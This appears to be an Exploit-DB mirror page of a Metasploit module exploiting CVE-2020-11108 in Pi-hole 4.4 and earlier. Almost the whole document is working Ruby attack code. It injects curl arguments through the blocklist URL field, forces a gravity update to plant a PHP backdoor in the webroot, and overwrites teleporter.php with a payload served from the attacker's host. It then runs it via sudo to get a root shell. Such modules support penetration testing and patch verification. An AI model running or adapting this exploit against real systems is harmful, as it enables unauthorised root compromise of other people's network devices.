Pi-Hole – heisenbergCompensator Blocklist OS Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2020-05-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48491/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(
    update_info(
    info,
    'Name' => 'Pi-Hole heisenbergCompensator Blocklist OS Command Execution',
    'Description' => %q{
    This exploits a command execution in Pi-Hole <= 4.4.A new blocklist is added, and then an
    update is forced (gravity) to pull in the blocklist content.PHP content is then written
    to a file within the webroot.Phase 1 writes a sudo pihole command to launch teleporter,
    effectively running a priv esc.Phase 2 writes our payload to teleporter.php, overwriting,
    the content.Lastly, the phase 1 PHP file is called in the web root, which launches
    our payload in teleporter.php with root privileges.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'h00die', # msf module
    'Nick Frichette' # original PoC, discovery
    ],
    'References' =>
    [
    ['EDB', '48443'],
    ['EDB', '48442'],
    ['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'],
    ['URL', 'https://github.com/frichetten/CVE-2020-11108-PoC'],
    ['CVE', '2020-11108']
    ],
    'Platform' => ['php'],
    'Privileged' => true,
    'Arch' => ARCH_PHP,
    'Targets' =>
    [
    [ 'Automatic Target', {}]
    ],
    'DisclosureDate' => 'May 10 2020',
    'DefaultTarget' => 0,
    'Notes' => {
    'Stability' => [CRASH_SAFE],
    'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
    'Reliability' => [REPEATABLE_SESSION]
    }
    )
    )
    # set the default port, and a URI that a user can set if the app isn't installed to the root
    register_options(
    [
    Opt::RPORT(80),
    OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]),
    OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
    OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
    ]
    )
    end
    
    def setup
    super
    @stage = 0
    end
    
    def on_request_uri(cli, request)
    if request.method == 'GET'
    vprint_status('Received GET request.Responding')
    send_response(cli, rand_text_alphanumeric(5..10))
    return
    end
    
    case @stage
    when 0
    vprint_status('(1/2) Sending priv esc trigger')
    send_response(cli, %q{<?php shell_exec("sudo pihole -a -t") ?>})
    @stage += 1
    when 1
    vprint_status('(2/2) Sending root payload')
    send_response(cli, payload.encoded)
    @stage = 0
    else
    send_response(cli, rand_text_alphanumeric(5..10))
    vprint_status("Server received default request for #{request.uri}")
    end
    end
    
    def check
    begin
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
    'method' => 'GET'
    )
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
    
    # <b>Pi-hole Version <\/b> v4.3.2<b>
    # <b>Pi-hole Version </b> v4.3.2 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a><b>
    %r{<b>Pi-hole Version\s*</b>\s*v?(?<version>[\d\.]+).*<b>} =~ res.body
    
    if version && Gem::Version.new(version) <= Gem::Version.new('4.4')
    vprint_good("Version Detected: #{version}")
    return CheckCode::Appears
    else
    vprint_bad("Version Detected: #{version}")
    return CheckCode::Safe
    end
    rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    CheckCode::Safe
    end
    
    def add_blocklist(file, token, cookie)
    # according to the writeup, if you have a port, the colon gets messed up in the encoding.
    # also, looks like if you have a path (/file.php), it won't trigger either, or the / gets
    # messed with.
    data = {
    'newuserlists' => %(http://#{datastore['SRVHOST']}#" -o #{file} -d "),
    'field' => 'adlists',
    'token' => token,
    'submit' => 'saveupdate'
    }
    
    send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
    'method' => 'POST',
    'cookie' => cookie,
    'vars_get' => {
    'tab' => 'blocklists'
    },
    'data' => data.to_query
    )
    end
    
    def update_gravity(cookie)
    vprint_status('Forcing gravity pull')
    send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'),
    'cookie' => cookie
    )
    end
    
    def execute_shell(backdoor_name, cookie)
    vprint_status('Popping root shell')
    send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name),
    'cookie' => cookie
    )
    end
    
    def login(cookie)
    vprint_status('Login required, attempting login.')
    send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
    'cookie' => cookie,
    'vars_get' => {
    'tab' => 'blocklists'
    },
    'vars_post' => {
    'pw' => datastore['PASSWORD']
    },
    'method' => 'POST'
    )
    end
    
    def exploit
    if check != CheckCode::Appears
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end
    
    if datastore['SRVPORT'] != 80
    fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful')
    end
    
    if datastore['SRVHOST'] == '0.0.0.0'
    fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
    end
    
    start_service({ 'Uri' => {
    'Proc' => proc do |cli, req|
    on_request_uri(cli, req)
    end,
    'Path' => '/'
    } })
    
    begin
    # get cookie
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
    )
    cookie = res.get_cookies
    print_status("Using cookie: #{cookie}")
    
    # get token
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
    'cookie' => cookie,
    'vars_get' => {
    'tab' => 'blocklists'
    }
    )
    
    # check if we got hit by a login prompt
    if res && res.body.include?('Sign in to start your session')
    res = login(cookie)
    end
    
    if res && res.body.include?('Sign in to start your session')
    fail_with(Failure::BadConfig, 'Incorrect Password')
    end
    
    # <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
    # may also include /
    %r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
    
    unless token
    fail_with(Failure::UnexpectedReply, 'Unable to find token')
    end
    print_status("Using token: #{token}")
    
    # plant backdoor
    backdoor_name = "#{rand_text_alphanumeric 5..10}.php"
    register_file_for_cleanup backdoor_name
    print_status('Adding backdoor reference')
    add_blocklist(backdoor_name, token, cookie)
    
    # update gravity
    update_gravity(cookie)
    if @stage == 0
    print_status('Sending 2nd gravity update request.')
    update_gravity(cookie)
    end
    
    # plant root upgrade
    print_status('Adding root reference')
    add_blocklist('teleporter.php', token, cookie)
    
    # update gravity
    update_gravity(cookie)
    if @stage == 1
    print_status('Sending 2nd gravity update request.')
    update_gravity(cookie)
    end
    
    # pop shell
    execute_shell(backdoor_name, cookie)
    print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists")
    rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    
    end
    end